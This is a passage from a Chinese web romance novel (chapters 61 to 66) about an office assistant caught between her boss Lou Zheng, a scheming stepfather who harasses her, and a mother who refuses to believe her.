她冲上前跟楼凤栖扭打在一起。 “不娶我,你也别想娶别人!” 那个帮忙的男人一只手的手臂被楼铮折了,也还要用另一只手帮忙,看着很是滑稽。 沈韫浓不着痕迹地往场外退,却依然险些被误伤。 楼铮眼疾手快,捞了她一把,将她扯到了身边。 这场闹剧,以许春安被楼凤栖推了一把蹲在地上结束。 “她流血了!”一个围观的女孩惊叫了一声。 楼铮这才上前主持大局。 “都别动,叫救护车。”他说,之后,淡淡地看了一眼楼凤栖,“小叔,这件事我需要一个解释。” 楼凤栖脸色灰白,垂着头不语。 他衣服的扣子被扯崩了几颗,脸上还带了一条深深的指甲抓痕,看上去狼狈到了极点,哪里还有平时风度翩翩的样子? 看他这样,沈韫浓觉得痛快。 许春安拎不清,自作自受,也不可怜。 最可怜的是她肚子里的孩子,沈韫浓看了看地上的一滩血,也不知道他还愿不愿意要这对父母。 直到救护车来了,看热闹的人被疏散,沈韫浓一路跟楼铮和潘琳上了楼。 “走这边吧。”员工梯人太多,楼铮在总裁专梯门口叫她们。 两人也没矫情,跟着楼铮进去。 三人在电梯里,氛围有点怪。 沈韫浓有好几次请假,都是楼铮直接让潘林替她办的。 沈韫浓总觉得潘琳发现了她和楼铮的“奸情”,但潘琳又待她一切如常,既不过分热情,也不为难她。 为了避嫌,她特地站得离楼铮远远的。 楼铮发现了,特地要点破。 “沈助理,你再躲就要嵌到电梯壁里去了。” 也许是楼凤栖事件她的处理让他满意,他声音倒是不冷,还有点戏谑的意思。 这个人真是的,装没看见得了。 沈韫浓有点尴尬,只好又往楼铮的方向挪了一点。 看沈韫浓纠结的小模样,潘琳先噗嗤笑了。 笑完才关心道:“刚才你没吓到吧?” 沈韫浓摇摇头。 “我早有准备,昨天晚上凤栖总非要请我吃饭,我也不好拒绝,中途好像还举起手机偷拍了我。” 她同时说给两人听,免得一会儿还要被楼铮叫到办公室去,直接一口气说了多省心。 潘琳惊讶于沈韫浓的敏锐,暗暗赞叹她,又问:“所以,你是故意要把许小姐引到这边来,把事情闹大? “对啊,这件事本来就是凤栖总的责任最大,凭什么让他看着两个女人闹,自己美美隐身?更何况,我什么都没做还要被人骂,我多无辜啊。”沈韫浓说。 她算是看出来了,今天楼凤栖在下面出丑,楼铮一点都不心疼,这两人的叔侄情分也不过做做样子。 而且,楼凤栖本就暗暗跟楼铮较劲,让人觉得他才是公司的顶梁柱。如今他风评受损,楼铮应该是既得利益者,不会为难她。 “你这话,跟我和楼总说说就行了,对外千万装傻。”潘琳嘱咐她。 沈韫浓也是知道潘琳是楼铮的心腹,才敢让她知情,听她这么说,赶忙乖巧点头。 “你不用嘱咐她。”楼铮笑了一下,“她是千年狐狸成精,可别被她这张傻白甜的脸骗了。” 这话不像什么好话。 沈韫浓:“楼总我怎么感觉你在骂我?” 电梯内的氛围终于没那么尴尬,三个人都笑出声来。 但沈韫浓还是被楼铮叫去了办公室一趟。 他问她:“楼凤栖这条路被自己亲手堵死了,后悔吗?”‘ 沈韫浓观察他,见他没有看笑话自己的意思。 才摇头:“算是迷途知返吧,巧克力味的屎也是屎,进不了口。” 楼铮在喝他杯中剩下的半杯摩卡,浓郁的巧克力气味在唇齿间蔓延开,刚要夸一句好。 因为这句话险些喷出来。 “沈韫浓,你一个漂亮姑娘怎么说话这么糙?” 第六十二章 楼老太太的敲打 许春安事件闹得人尽皆知,自然也惊动了楼老太太。 没等中午,楼老太太就派人叫走了楼铮。 楼铮过去跟老太太一起吃了个午饭,顺便把情况简单一说。 他尽可能弱化沈韫浓在这件事里的存在感,但老太太还是敏锐捕捉到了。 “漂亮女孩最容易生事端。”她说。 不轻不重,点到为止的一句敲打。 楼铮不作声,等参汤端上来,神色自若地给老太太盛了一碗,才道: “又不是人家漂亮姑娘搞大许春安肚子的,我小叔才是万恶之源。” 楼老太太捧着碗睨他:“奶奶才说一句就维护上了?还真是谁的助理谁心疼。” “我要是连自己的助理都不护着,以后谁还敢跟着我干?” 楼铮回了一句,老太太点了点头,总算没再说沈韫浓什么,只是还叮嘱了一句“让你这个助理暂时低调点,别影响了公司形象。” 这话楼铮没接。 但接下来的时间,他莫名开始想沈韫浓。 一想起她那副表面温顺,实则一身反骨的样子,就心痒得厉害。 这件事,最终以楼凤栖被发配去海外市场落幕。至于许家那边,由楼凤栖出面去交涉,给了多少好处老太太不管,总之许家没人再来闹。 而沈韫浓因为这件事办得让楼铮舒服,楼铮也承诺可以答应她一个条件。 “什么都可以吗?”沈韫浓听到时双眼放光。 楼铮:“除了放你离开。” 这话说得够直,可沈韫浓觉得无语:“楼氏这份工作挺好的,我离开做什么?” 楼铮被她说得一噎,咬牙切齿:“你最好是真这么想的。” 很快,沈韫浓便顾不上楼铮怎么想了。 楼凤栖这条线一断,给她带来了不少麻烦。 最直接的就是陈知意那边。 再去画室兼职的时候,陈知意几次试探,要把自己的高富帅朋友介绍给她。 沈韫浓当然知道她的用意,无非是怕她看楼凤栖一走,把主意打到楼铮身上。 沈家父子三个更是看了她好几天笑话。 沈进廉和沈清妙每次见面都阴阳怪气。 “哟,楼七爷发配东欧了,沈助理不跟去吗?” “楼凤栖都走了,你不会还要留在楼氏吧?” 而沈英耀明显心情不错。 他把沈韫浓叫到书房跟她商量。 “楼凤栖走了,你留在楼氏也没什么意义,辞职,爸爸开个公司给你。” 沈韫浓信他个鬼,在心里冷笑,嘴上问:“你说的开公司,不会是准备注册个空壳子,让我当法人代表吧?” 之后,沈英耀就可以用这个新公司的名义,自买自卖,洗钱,陪标,走账,偷税漏税,对冲沈氏的风险。 傻(哔——)才干。 沈英耀八风不动:“给你开的公司当然是你来当法人代表,另外,再把沈氏的股份给你百分之五。 你在楼氏,一个月就拿那点死工资,现在楼凤栖走了,你也该死心了。” 沈韫浓在心里翻了个白眼。 “我不要公司,也不要股份,你给我五百万现金,我就辞职。” 沈英耀见她软硬不吃,又开始耍浑:“我说了,你只要同意我,以后沈家都是你的。” 沈韫浓露出鄙夷表情:“你还是早点睡吧,梦里什么都有,老变态。” 两人大吵一架,又对着摔东西,闹了个不欢而散。 但这件事提醒了沈韫浓。 之前,沈英耀一定以为他出事是楼凤栖的手笔。 眼下,楼凤栖一走,自己失了靠山,他又开始有恃无恐,对她轻佻起来。 她得赶紧想个办法给沈英耀找点事做,不能坐以待毙。 深思熟虑了一个晚上,沈韫浓找到了苏磊。 他们约在了一家有特殊服务的商务KTV—— 这也是深思熟虑后选的,因为沈英耀那个道貌岸然的家伙绝对不会来这里。 但灯红酒绿的环境跟她自己的平日的形象显然也不符。 以至于苏磊来了都忍不住调侃:“你还是我认识的沈小姐吗?这完全不像你会选的地方。” 沈韫浓笑:“不像就对了,越危险的地方越安全。” 在包厢里,沈韫浓把音乐开到震天响,跟苏磊聊自己的计划。 苏磊听完简直拍案叫绝,举双手赞成。 “你这个计划要是落实了,能要沈英耀半条命。” “我没做过生意,里面肯定有疏漏的地方。”沈韫浓说。 她性格谨慎,把话说前面,“所以到时候还是要你去落实,把细节盯好。” “没问题,包在我身上。”苏磊一口答应。 沈韫浓趁机提要求:“要是成了,苏总别忘记我那份好处。” “不用成了之后,现在就可以给你!”他说着,赶紧掏自己钱包找卡。 沈韫浓拦他:“无功不受禄,成了再说。” 接触过几次后,沈韫浓对苏磊这人很放心。 他是个挺通透的人,做事圆滑周全,却也有些真性情在,而且,两个人有共同的利益,不用担心他会反水背刺。 他们相谈甚欢,后面苏磊说,这里有足疗按摩,问她要不要体验一下的时候,沈韫浓也没拒绝。 她还没做过足疗,在心里挺期待。 苏磊发现了她乖乖女外表下的真面目,知道自己被沈韫浓划归为了“自己人”,也很高兴。 他按了服务铃,跟服务员点两名技师。 特地看了沈韫浓一眼,坏笑:“给我们沈小姐安排个帅的。” 沈韫浓跃跃欲试,有种做坏事的紧张感。 技师来得有点慢,放下水打量了他们一眼,说了声“稍等”又出去。 又过了一会儿,一个经理模样的人端了两杯果汁进来。 “小姐,您哥哥说请您喝饮料,但不许您做足疗。” 沈韫浓原本懒懒散散的靠着沙发背,一时间惊得坐直了,和苏磊对视一眼。 两人的后背都浮起了一层冷汗。 第六十三章 情哥哥 苏磊皱眉,低声问她:“沈进廉来了?” 沈韫浓不说话,脑子飞速运转。 她强行稳住心神,说:“我没有哥哥。” 那位经理怪怪地看她一眼:“可那位客人说是您哥哥。” “我哥哥长什么样?” “特别高,看上去得有一米九,很帅,左边耳朵戴一个耳钉。” 警报解除,沈韫浓松了口气。 苏磊失笑,这个描述,他再迟钝也知道是谁了。当初他能找上沈韫浓,也是得了楼铮的暗示。 海市的世家子弟,没有不认识楼铮的。 “合着是情哥哥啊。”他硬着头皮调侃了一句。 沈韫浓抹一把额头上的薄汗,从包里掏了根棒棒糖给那位经理:“你帮我给他,说妹妹的回礼。” 那位经理想必收了楼铮好处,很痛快地去了。 苏磊挑眉:“你就拿这个糊弄楼小爷?” 沈韫浓挤出一个微笑:“他超爱。” 这不是乱说,楼铮是真的爱吃甜的。 沈韫浓今天去超市买东西,在收银台看到棒棒糖,脑子一抽就买了,没想到竟然能这么快派上用场。 她直觉楼铮又要发飙,先拿个棒棒糖哄一哄。 棒棒糖刚送去没几分钟,沈韫浓微信提示音响起。 “车里等我。” 她不敢违抗,跟苏磊说了一声,先行离开。 沈韫浓想破头也没想明白,楼铮是怎么知道她在这里的。 说来也巧,楼铮过来是对接一个楼凤栖的遗留客户。 他耳朵尖,上楼时,便听到了两个服务员闲聊。 “是508叫的按摩吧?” 其中一个问,另一个说是。 “508那个女客人也太好看了,她是不是明星?眼睛下面那颗痣是真的假的?” “画的吧?电视剧里的泪痣才是红色的,生活中哪有红的,都是黑的!” “可她长得看着不像整的。旁边是她男朋友吗?看着挺有钱的……” “应该不是,那位特意还特意交代给要找帅的技师给女客人。” 楼铮脚步微顿。 “你们先去。”他对自己的客人说。 之后他抱着宁可错杀,不能放过的心理,又让人去看了一趟,确定了是沈韫浓。 楼铮舌尖顶了顶腮肉,这个家伙居然单独和苏磊来KTV,还点了技师,还要帅的! 要不是知道她的目的不是钓凯子,他一定要把人揪出来照着屁股打两下才解气! 沈韫浓走了,苏磊又坐了一会儿。 他略略一想就知道了这其中的门道。 就是不知道现在去跟楼铮打招呼是不是合适。 犹豫间,便听到了两声不轻不重的叩门声,接着,楼铮推门进来了。 他起身,跟楼铮寒暄:“幸会,楼总。” 楼铮嘴里叼着那根棒棒糖,也不进去,只是神色淡淡的倚着门看他:“苏总最近生意如何?” 苏磊:“多谢关照,还行。特别是在遇到沈小姐这个贵人后,更是比原来顺了许多。” 他表面不卑不亢,实则多次调整表情,努力让自己说这话看上去像投诚,而不是挑衅。 也不知楼铮领会到了没有。 楼铮微微点头,平静地审视着他:“她是我的人,苏总。” 这话说的,就像雄狮撒尿标记地盘。 苏磊一听,松了口气。这位小爷肯把话说透了,说明他还有自证清白的机会。 苏磊是男人,能领会男人在意的点,马上解释: “当然,我还要谢谢您当初的指点,我才能跟沈小姐搭上线,您放心,我和沈小姐只是合作关系,丝毫没有非分之想。 今天这个地方也是沈小姐选的。换了我,只会找普通餐厅,绝不会找这种地方污沈小姐的眼。” 他绝口不提是自己要给沈韫浓找个帅技师的这茬。 苏磊态度明确,又乖觉,楼铮的神色缓和了不少。 “你是聪明人。”楼铮夸他,之后,抽了张自己的名片递过来。 苏磊双手接。 “沈韫浓要什么,给她就是。有什么困难,随时找我。” 这样的承诺是多少人求都求不来的,楼铮上门主动给了。 望着他潇洒离去的背影,就算是苏磊呆了呆。 圈子里愿意为女人出头的公子哥儿不少,给钱,给资源,给人脉,都是常有的事。 可从没听说楼铮这么护过谁。 苏磊开始重新评估起沈韫浓来,这个女人比他想象中的更有价值。 看来,他和沈韫浓可以是很好的战友。 前提是,他别想不开,对她起了色心。 沈韫浓对两人的交锋一无所知,她出来后就去了停车场。 楼铮的车很好认,最骚最贵的就是。 沈韫浓一进停车场就看见了,跟司机打过招呼后,坐到去后排等他。 心里难免忐忑,总觉得楼铮要找茬。 不过苏磊是硕东集团的人,圈内众所周知,是沈家的对头。楼铮应该能猜到她要做什么,不至于觉得她刚放弃楼凤栖,又要嫁苏磊。 就是选的地方不太体面…… 成大事者,不拘小节,应该也能理解吧?再说,不理解又怎么样,他又不是她什么人,管不着。 做完心理建设,沈韫浓强行不再去想这件事。而是复盘对付沈氏的计划。 她的机会不多,一定要万无一失。 正想得入神,车门打开,楼铮居高临下地扶着车门看她。 “这么快,你不是刚过去?”沈韫浓有点诧异。 楼铮似笑非笑:“怎么,我得做个全套大保健再出来?还是如果我不拦着,你准备做个全套大保健了?” 沈韫浓:“……也不是不行。” 楼铮嗤笑一声,坐到了她身边。 “主动约男人去商K谈事,沈韫浓,亏你做得出来。” 他坐得有点近,压迫感强得让沈韫浓忍不住想往里挪一点。 她稍微动了动,楼铮一个冷冷的眼风扫过来,又定住了。 沈韫浓想狡辩两句,但第六感告诉她现在最好是闭嘴,便垂着眼继续等楼铮奚落。 第六感很准,楼铮果然没有揪住不放。 他打开车子收纳箱,扔了个电子卡片一样的东西给她。 “这是?” “我私人会所的钥匙,你再谈事,可以过去。” 楼铮掏出手机,在微信上发了位置给他。 “这不是管制区吗?”沈韫浓惊讶。 这里,沈韫浓每次路过都看到有人把守。 楼铮乜她:“去就是了,这些人又不拦你。再让我发现你单独跟男人去商K,打断你的狗腿。” 沈韫浓屏息,一点也不敢顶嘴,她现在已经觉得腿疼了。 楼铮那边还有客人等着,他给完钥匙就起身下车。 又对司机道:“送她回家。” 一来二去,司机跟沈韫浓也熟了,路上忍不住多了句嘴。 “沈助理,这么多年了,还从来没看小爷对谁像对你这么上心过。” 沈韫浓笑了笑,没接他的话茬。 男人上头的时候再殷勤都不奇怪,听过就算了,别当真。 她在等,看楼铮的新鲜劲什么时候过去,她也更好脱身。 跟他玩是以身饲虎,她可玩不起。 计划有条不紊的进行,为了观察沈英耀的状态,沈韫浓在家的时间都多了。 第六十四章 顾曦薇的耳光 有几天时间,沈英耀很亢奋。 沈韫浓有时候“不经意”从书房路过,就能听到他打电话的声音。 他最近接到了一笔海外的大订单,对方签了10亿美金的合作意向书,要他做中间商,点名要某种型号的炉窑设备。 为此,沈英耀四处出差,仅工厂就考察了几十家。 临近春节,很多工厂已经停产,有时候大晚上,还能听到他打电话劝工厂复产的声音。 “老外又不过我们国家春节的,这样的机会错过了就没了,你能生产的话,价格我给再加5个点,实在不行10个点!” 沈英耀忙得脚不沾地,连带着沈进廉和沈清妙都天天在公司加班,没空找她的麻烦,沈韫浓过了几天安生日子。 苏磊那边消息灵通,也频繁给沈韫浓发信息汇报。 以防万一,两人都注册了小号。 苏磊的小号叫“小甜甜”,沈韫浓叫“一天八顿饭”。 两人看对方微信名,都有说不出的违和感。 【小甜甜:他已经给至少五家工厂打定金了。】 【一天八顿饭:猫猫点头.jpg再探再报。】 沈氏表面一派繁荣,实则内在虚透了,沈英耀就像水面上的鸭子,表面悠哉,水下的腿却已经扑腾了好一阵子。 这个国外订单,对他来说就是救命稻草。 平日里这么会装的人都忍不住喜形于色,可见诱惑有多大。 一想到以后他未来要撅着屁股收拾烂摊子,沈韫浓就高兴。 当然她也没高兴几天,转眼到了春节,沈韫浓最痛恨的节日。 除夕晚上,外面万家灯火,一片祥和,沈家却依然一片死气沉沉。 氛围再差,样子也还是要做,按照惯例,沈家人要坐在一起吃年夜饭,沈韫浓也逃不掉。 很多佣人放了假回去,只剩管家和两个值班的伺候。 沈韫浓坐在席尾,看到主位上一身红色唐装的沈英耀,又透过餐厅的窗子看外面高悬的明月,四角的天空,和一整个院子的电子灯笼。 越发觉得沈家老宅的氛围像鬼片,有种中式恐怖的感觉,让人脊背发寒。 她低头吃饭,在心里告诉自己,她很快会毁了这个鬼地方,下一个春节一定不会跟这些人一起过了。 偏偏顾曦薇又起高调。 “宝宝,这已经是你在沈家的第七个春节了。要是没有爸爸,你哪里有现在这样好的生活。”她突然说。 沈韫浓想笑,对自己母亲的表演型人格见怪不怪。 她放下筷子,抬头审视顾曦薇:“妈,你想说什么?” 沈韫浓的眼神没有一丝温度,让顾曦薇觉得不适。 她在心里退缩了一下,又马上强硬起来。 “快去,给你爸爸磕个头,感谢他这些年的养育之恩,过去你说的那些话,你爸爸都可以不跟你计较。” 闻言,沈家兄妹都抬起头来,等着看沈韫浓笑话。 沈韫浓皱眉,看沈英耀:“这是你的意思?我说的那些是污蔑你?” 不知是心虚,还是沉浸在将要赚大钱的喜悦中,沈英耀这次并不想跟沈韫浓争执。 他摆摆手,意思是算了。 可顾曦薇这次很坚持。 好像当着沈家兄妹的面刁难沈韫浓,就能显得她这个母亲多有威信,多教女有方一样。 “宝宝,爸爸不跟你计较,不代表你可以一直任性,去,跪下,跟爸爸道歉,以后再也不诋毁爸爸!” 她甚至拿出了严厉的姿态,但因为她在这个家里一直没什么威慑力,她的严厉更像是赌气—— 气沈韫浓不尊重她替她找的继父,还出言“污蔑”。 沈韫浓心底发寒,冷笑道:“我没有逼着你给我找继父,也没有求着你养我。如果这个家不欢迎我,我随时可以走。” 她站起身来,准备回房间去。 正好,这顿饭她还不想吃。 “站住!”顾曦薇怒气冲冲走过去拦她,“越来越过分了!沈韫浓,别忘了,你现在也姓沈!” “我本来也不姓沈,我姓池!”沈韫浓定定地看着顾曦薇,“我只给死人下跪,要么他死,要么,你来打死我。” 话落,下一秒顾曦薇抬手给了她一个耳光。 啪的一声,不重,但清脆响亮得像外面的鞭炮。 沈韫浓捂着脸,心像是坠入冰窟里,冷到发疼发麻。 沈英耀这么多年的戒尺加起来,都不如这个巴掌来得疼。 这就是她委屈求全,苦苦维护的母亲! 顾曦薇也是第一次打沈韫浓,自己也呆了一下。她也不知道怎么就变成这样了,看着沈韫浓看着自己通红的眼睛,她有一瞬间的慌张。 她知道这时候该道歉补救的,可三双眼睛看着,她不想让沈家人觉得连亲生女儿都不把她放在眼里,于是僵在当场。 “好了好了,好好一顿年夜饭闹成这样。我养韫浓,又不是为了她回报我的。”沈英耀出来打圆场,他揽住顾曦薇的腰把她带回餐桌。 那一巴掌打到了沈韫浓的脸,他就皱起了眉头。 顾曦薇立刻顺着这个台阶就下了。 “老公,我就知道你不会跟孩子计较的,是韫浓太不懂事了。” “好了,韫浓也别气了,好歹是你妈妈”沈英耀又来劝沈韫浓,一手搭按在她后腰上,摩挲了几下。 沈韫浓嫌恶地退开。 沈英耀看她的眼神已经开始肆无忌惮,沈家两兄妹都能看出不对劲,正疯狂打着眉眼官司。 沈韫浓用余光看顾曦薇。 顾曦薇只是板着一张脸低头不看她。 不知怎么,沈韫浓突然想起一些社会新闻里的母亲来。 眼睁睁看着丈夫对自己的女儿下手,因为害怕失去优渥稳定的生活,选择了装聋作哑…… 顾曦薇是这样吗? 她的心沉下去,垂在身侧的拳握紧,转头回了房。 回去后,沈韫浓拿了自己的行李箱出来,只用了半个小时就收拾了所有准备带走的东西,准备随时找机会就跑路。 至于顾曦薇,算了,她现在连想起这个妈都觉得头疼,心更疼。 夜里11点多,手机在床头柜上响起,楼铮打来的。 但她今天太难受了,躺在床上,不想说话不想见人,一动都不想动,任由电话继续响着,想等他自动挂断。 谁知,楼铮耐心十足,她不接就一直打。 后来又发视频邀请。 沈韫浓强压着不耐烦接了。 楼铮在户外,周围的环境有点暗。 “出来。” “有事吗?”她不太想动。 “有,很重要的事。” 话说到这份上,沈韫浓起身,在家居服外面穿了个外套就下楼了。 沈英耀在前厅守岁,大门走不得,沈韫浓只好从后面的角门溜出去。 她原本还想再给楼铮打个视频问位置,一抬眼,一辆四座墨绿色法拉利就停在角门的两米远处。 楼铮正靠着车门抽烟,脸上带了点狡黠笑意。 那神情分明就是“被我猜到了吧”。 他敏锐得要命,想瞒过他的眼睛太难。 “楼总,什么事?”沈韫浓问他。 她情绪很低落。 “上车。”楼铮看了一眼她微肿的眼睛,什么都没问,直接掐了烟,替她开车门。 沈韫浓沉默地坐进去,懒得问去哪儿。 很快,楼铮开车带她到了一个湖边。 第六十五章 贺韶瑭 湖边非常热闹,有不少人在放烟花和孔明灯,还有人摆着心形蜡烛跟自己的女朋友求婚。 音乐声,欢呼声,小孩子的笑声,声声入耳,非常有感染力。 沈韫浓从车窗看外面的温馨世界,突然觉得自己像个女鬼,在除夕夜得以从地狱偷跑出来,见到了真正的人间。 楼铮熄火下车,从后排抱出了两个巨大的纸箱放在地上,又来替她开副驾驶的门。 “来,带你放烟花。” 沈韫浓关于烟花的记忆都是在小时候。 父亲会带她放烟花,还会让她骑在自己的脖子上看。 现在想已经太久远了。 见她不动,楼铮干脆直接兜着她的腰,将她一把从车上薅了下来。 他把箱子打开,献宝似的给沈韫浓看。 里面各式各样的烟花都有。 “敢放吗?”楼铮问。 沈韫浓木然点头,然后嘴里便被塞了一支烟。 楼铮跟沈韫浓抵着额头,用自己的烟把她唇间的烟引燃。 做作。 打火机按一下的事,偏要搞这么暧昧。 但这支烟来得太及时了,沈韫浓深吸了一口,微凉的薄荷香味压过了她心里的苦味。 沈韫浓决定,原谅他的做作,由着他闹。 看她吐出一口烟,楼铮才说:“给你点烟花用的,少吸两口。” 楼铮带的烟花最多,两人足足放了将近一个小时。 这期间,有人大声倒计时,迎接农历新年的到来。 “5—4—3—” 到零点的时候,楼铮突然扣住沈韫浓的后脑,印上了她的唇。 一个短暂的吻,随着倒计时戛然而止。 沈韫浓呆了一下。 天上的烟花一簇簇的炸开,美的惊心动魄。 耳边是爆炸声,鼻端弥漫着硝石和火药特有的气味。 沈韫浓的心也噼里啪啦炸了一瞬。 难怪说烟花辟邪,在心里作祟了一晚上的魔鬼和恶念,也被驱赶,她的心明快起来。 “新年快乐,沈韫浓。” 她听楼铮低笑着说。 沈韫浓张了张嘴,有一瞬间的失声。 她也回了句“新年快乐,楼铮”,不知他听到没有。 有人放二踢脚。震得耳朵发疼。 其中一个,像长了眼睛,直接到沈韫浓脚边。 随着“轰隆”一声,楼铮火速抱着沈韫浓转了个圈。 二踢脚被他用力踢到了对面去,第二响在对面那人的腿边炸开。 对面那人倒是没被吓到,冷冷笑了一声:“不在老宅守岁,这就是你说的公司有急事?” 沈韫浓惊魂甫定,循声望去,看到对面一个男人正盯着她看。 但话是对楼铮说的。 楼铮语气不悦:“关你屁事,最近盐吃多了是吧?” 两人的氛围剑拔弩张。 那人迈着长腿走过来,一直停在沈韫浓面前。 借着湖边路灯的光,沈韫浓才将人看清楚。 来人也很高,目测至少有187CM,留着港式背头,戴金丝眼镜,看沈韫浓的眼神尤其肆无忌惮。 沈韫浓被他盯得心理不适,先把目光挪开。 “你是楼铮养的小情人?”那人问她。 这话简直踩在了沈韫浓命门上。 她还没开口,楼铮先应激:“你他妈会不会说话?女朋友三个字烫嘴吗?” “哈?”那男人先笑了,“陈知意知道你有女朋友吗?” 楼铮还没说话,那男人又打量沈韫浓。 “哟,穿睡衣跟楼铮出来约会啊?已经这么老夫老妻了吗?啧啧啧。我告诉你,跟他不如跟我,他跟别人有婚约的……” 楼铮的拳头已经挥了上去。 那一拳力道很重,沈韫浓看到那男人的鼻血喷出来。 男人也不甘示弱,冲过来跟楼铮对打。 看得出两人都是身手都不错,打起架来凶得要命,一个个拳拳到肉,但都默契地避开了对方的脸。 最后,楼铮稍占上风,把男人压在身下。 “楼铮,我看你他妈怎么跟外婆交代!”男人大喊。 “贺韶瑭,我楼家的事还用不着你管!”楼铮声音冷得吓人。 外婆……沈韫浓立刻知道了男人的身份。 楼铮的姑姑嫁了澳城贺家。 贺家的名头可太响了。 沈韫浓怕出人命,也怕这件事闹大,横生枝节。 她心一横,冲过去,挡在了两人中间。 “别打了!” 她怕被楼铮误伤,下意识闭上了眼。 世界突然安静下来,楼铮的一腔怒火,就这样悄无声息地泻了下去。 他伸手把沈韫浓拉到一边。 地上的贺韶瑭也坐了起来。 贺韶瑭输人不输阵,此时抹了一把鼻血,竟然还有心情调侃楼铮。 “哟,真上心了?这么怜香惜玉。” 又问沈韫浓:“这位‘急事小姐’,你叫什么名字?” 沈韫浓不理他,抓紧楼铮的手臂。 “我们走吧,你别这样,我有点害怕。” 这句话有奇效。 楼铮果然冷冷看了一眼贺韶瑭,拉了她的手离开。 车上,楼铮和沈韫浓都用眼神检查了一遍彼此。 没有受伤。 楼铮先开口:“他说的话,你别往心里去,我早晚会给你个交代的。” 沈韫浓深吸了口气,才说:“楼铮,看在我们……有一段的份上,我许个新年愿望行吗?” 楼铮:“你说。” 沈韫浓:“新的一年,我们回归正常的男女关系,好不好?” 她头一次这样被人这样说到脸上,就差指着鼻子骂小三了,脸皮再厚也受不了。 “我和陈知意没有交往。”楼铮说。 “有区别吗?你们有婚约的。” 楼铮闭嘴。 车子行驶起来,沈韫浓用余光看他的侧脸。 他的下颌紧绷着,神色里隐忍中带着……委屈? 她揉了揉眼睛,觉得自己应该是看错了。 自己被人当三都没委屈,他有什么好委屈的。 楼铮心里藏了事的。 但这事不能说,一旦说出来,就会影响整个楼氏。 他最终什么也没说。 车子一路开回沈家,还停在角门。 “沈韫浓,以后,我不会碰你。”他终于开了口。 沈韫浓:“……这个,我的责任比较大。” 她有点羞愧,又说:“谢谢你。以后我一定是最忠诚的下属,如果你愿意,也可以是最值得信任的朋友。” “我不愿意。”楼铮说,“沈韫浓,我从来没拿你当过朋友。” 沈韫浓无言以对。 她点点头,下车。 她不问他拿她当什么,没意义。 她的生活容错率太低了,不能有任何的分心和闪失。 “那,晚安。”她说。 迅速离开了楼铮的视线。 刚进角门,沈韫浓撞见了等在里面的沈英耀。 第六十六章 离开沈家 “你去哪儿了?” 沈英耀站在门口,目光阴沉地睨着她。 沈韫浓看见沈英耀就反胃。 她掠过他往里走,一边走,一边冷笑:“三更半夜,我还能去哪儿,当然是去跟男人约会了。” 沈英耀在后面扯她的手臂,用了大力气。 “沈韫浓,你明明知道我介意什么!” 沈韫浓被他攥得手臂生疼。 “你介意什么?介意我跟男人约会啊?” 她停下看他,眼神里都是嘲弄:“那你去跟我妈说,说你喜欢我,要跟她离婚,只要你们离了,我一辈子不嫁人,守着你都行。” “你说真的?” 沈英耀情绪上头,竟然在这一瞬间考虑了一下可能性。 沈韫浓冷笑:“骗你的,老混蛋。” “你!”沈英耀气血上涌,直接按住了沈韫浓的肩。 楼凤栖一走,他最近越发肆无忌惮了。 预料到他接下来的动作,沈韫浓盯着他的眼睛一字一顿:“你要敢碰我,我现在就喊得人尽皆知。你说,如果你的客户知道你是这样的老变态,还跟不跟你合作?” 沈英耀迅速冷静下来。 他放手,语气已经没了刚才的暴怒:“忤逆你妈妈,初一到初七,呆在家里抄经,不许出门。” 说完,他先抬脚走了。 七天时间,沈韫浓真的没有出门,但也别指望她会乖乖抄经。 这期间,顾曦薇倒是跟着沈英耀出了一趟差,回来的时候,又多了几件新衣服和珠宝,看上去春光满面容光焕发。 她还给沈韫浓带了礼物,一个从庙里求来的太岁符。 “算命的说你今年犯太岁,这是保平安的。”她说,想求和,又拉不下脸。 沈韫浓没理她。 又晾了顾曦薇两天。 初七晚上,沈英耀父子三人都在外应酬,沈韫浓才敲开了她的房门。 沈韫浓告诉自己,最后再跟她认真谈一次。 可顾曦薇一见她态度转晴,以为她是服软了,当即拉着沈韫浓说沈英耀的好话。 她说最近沈英耀在带她社交。 “你爸爸这两年也想通了,说不能把妈妈一辈子藏在家里,也让妈妈出去跟那些太太们社交,给爸爸做贤内助。” 沈韫浓听得犯恶心:“是,你高兴就好,反正我说什么你也都不信。” 顾曦薇显然对她敷衍的态度很不满。 “宝宝,我知道你对爸爸有偏见。可你说什么都行。说爸爸打你主意……已经触碰到妈妈底线了!” 顾曦薇正色,板起脸来。 “为了让你能过得好,妈妈从一个荷官变成现在的沈太,用了多少心思!可你倒好,好像妈妈做这一切只是为了自己一样!妈妈一直让你嘴甜一点,不也是想着,以后沈家的家业能有你一份?你不给你爸爸留脸面,是不是也看不起妈妈?!” 顾曦薇越说越委屈,好像下一秒就要哭出来。 “妈,你摸着良心问问自己,是为我吗?” 沈韫浓觉得好笑,顾曦薇这番话,不知道的,还以为她为了让女儿过得好,用了多少手段才嫁给沈英耀的。 可实际上,她不过是长了一张酷似姜疏桐的脸,被沈英耀带回来的替身罢了。 “妈,我说的话你不信是不是?”沈韫浓一点也忍不下去了。 她觉得自己像个小丑。 顾曦薇的表现说明了一切,不仅不信,还因此对她都是埋怨。 “我当然不信,我跟你爸爸在一起十年了,他的为人我会不知道吗?” “呵。”沈韫浓冷笑,打开了手机。 她和沈英耀的录音传出来—— “沈韫浓,你明明知道我介意什么!” “你介意什么?介意我跟男人约会啊?” “那你去跟我妈说,说你喜欢我,要跟她离婚。” …… 顾曦薇静静地听着,她的脸白了一瞬。 她听懂了。 沈韫浓还没开口,劝顾曦薇离婚,却听顾曦薇道:“这些都是你在引导爸爸说,钓鱼执法不算的。” 顾曦薇的眼神里,带了一点躲闪。她不聪明,所以装坦然也很刻意。 沈韫浓站起身来,看她的目光咄咄逼人:“妈,这是你的心里话吗?” 顾曦薇声音小了下去:“本来就是嘛。你爸爸又没有真的对你造成伤害。而且,他有没有可能觉得你像年轻时的妈妈……” 顾曦薇摇头,看她的眼神有求饶的意思:“宝宝,这里面有误会。” 底气不足,知道有问题,却偏要装聋作哑。 好,很好。 沈韫浓气得浑身发抖。 “妈,你跟他离婚吧?你忘了他罚你、打你的时候了?还有,他已经死了两个老婆了,他克妻的,你不怕吗?” “只要你跟他离婚,我养你,好不好?”沈韫浓强忍下心里的酸楚,像在哄一个不懂事的孩子,用尽全部耐心。 “我们搬出去一起住。我保证,不让你的生活水平下降。” 顾曦薇摇头。 “宝宝,你现在也成年了,要不,自己搬出去吧?你一个成年的女儿在家里,跟你爸爸又没有血缘关系,也不怪他多想……” 沈韫浓:“……” 好好好,非常好。好话赖话都让她说尽了。 